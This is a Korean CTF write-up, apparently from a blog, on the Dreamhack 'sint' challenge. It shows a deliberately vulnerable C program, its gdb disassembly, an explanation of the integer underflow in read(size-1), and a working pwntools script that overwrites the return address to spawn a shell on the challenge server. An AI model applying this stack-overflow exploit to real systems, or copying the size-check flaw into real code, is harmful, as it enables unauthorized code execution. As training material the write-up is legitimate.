문제에서 주어진 코드는 아래와 같다.
sint.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
main 함수를 살펴보면 중간에 if (size > 256 || size < 0)인 경우에는 프로그램이 종료된다. 그리고 size-1 은 이후 read 함수에서 사용됩니다. CTF 문제에 경험이 있다면 size에 0을 넣으면 size-1은 음수가 되는데 어떻게 될까? 라는 생각이 하게 됩니다. 결론은 read 함수에 -1 만큼 읽으라고 요구하면 아주 큰 값이 되어버려서 원하는 만큼 스택 공간을 사용할 수 있다.
gdb-peda
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804866c <+0>: push ebp
0x0804866d <+1>: mov ebp,esp
0x0804866f <+3>: sub esp,0x104
0x08048675 <+9>: call 0x8048612 <initialize>
0x0804867a <+14>: push 0x8048659
0x0804867f <+19>: push 0xb
0x08048681 <+21>: call 0x8048470 <signal@plt>
0x08048686 <+26>: add esp,0x8
0x08048689 <+29>: push 0x80487a1
0x0804868e <+34>: call 0x8048460 <printf@plt>
0x08048693 <+39>: add esp,0x4
0x08048696 <+42>: lea eax,[ebp-0x104]
0x0804869c <+48>: push eax
0x0804869d <+49>: push 0x80487a8
0x080486a2 <+54>: call 0x80484e0 <__isoc99_scanf@plt>
0x080486a7 <+59>: add esp,0x8
0x080486aa <+62>: mov eax,DWORD PTR [ebp-0x104]
0x080486b0 <+68>: cmp eax,0x100
0x080486b5 <+73>: jg 0x80486c1 <main+85>
0x080486b7 <+75>: mov eax,DWORD PTR [ebp-0x104]
0x080486bd <+81>: test eax,eax
0x080486bf <+83>: jns 0x80486d5 <main+105>
0x080486c1 <+85>: push 0x80487ab
0x080486c6 <+90>: call 0x8048490 <puts@plt>
0x080486cb <+95>: add esp,0x4
0x080486ce <+98>: push 0x0
0x080486d0 <+100>: call 0x80484b0 <exit@plt>
0x080486d5 <+105>: push 0x80487bc
0x080486da <+110>: call 0x8048460 <printf@plt>
0x080486df <+115>: add esp,0x4
0x080486e2 <+118>: mov eax,DWORD PTR [ebp-0x104]
0x080486e8 <+124>: sub eax,0x1
0x080486eb <+127>: push eax
0x080486ec <+128>: lea eax,[ebp-0x100]
0x080486f2 <+134>: push eax
0x080486f3 <+135>: push 0x0
0x080486f5 <+137>: call 0x8048450 <read@plt>
0x080486fa <+142>: add esp,0xc
0x080486fd <+145>: mov eax,0x0
0x08048702 <+150>: leave
0x08048703 <+151>: ret
End of assembler dump.
gdb 결과를 보면 아래와 같은 스택 구조인 것을 볼 수 있다. 처음에 [0x0804866f <+3>: sub esp,0x104] 어셈블리어를 관찰하면 buf는 spf에서 0x104(260)만큼 떨어져있다. 따라서 여기에 spf 크기를 더해서 264크기 만큼의 페이로드를 전송하면 main ret를 get_shell 함수로 덮을 수 있고 쉘을 획득하여 플래그를 얻을 수 있다.
| main ret | high
| main spf |
| . . . |
| buf | low
exploit.py
from pwn import *
#r=process('./basic_rop_x86')
r=remote("host1.dreamhack.games",21791)
e=ELF('./sint')
context.log_level='debug'
def main():
r.recvuntil("Size: ")
r.sendline("0")
r.recvuntil("Data: ")
payload=b"a"*264
payload += p32(e.symbols['get_shell'])
r.send(payload)
r.interactive()
if __name__ == '__main__':
main()
익스플로잇 코드는 위와 같다. Size라는 문자열을 받으면 0을 입력하고 Data라는 문자열을 받으면 페이로드를 전송하고 쉘을 탈취한다.
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] out_of_bound (0) | 2021.07.18 |
---|---|
[Dreamhack] basic_exploitation_002 (0) | 2021.07.17 |
[Dreamhack] basic_exploitation_003 (0) | 2021.05.22 |
[Dreamhack] oneshot (0) | 2021.05.11 |
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
댓글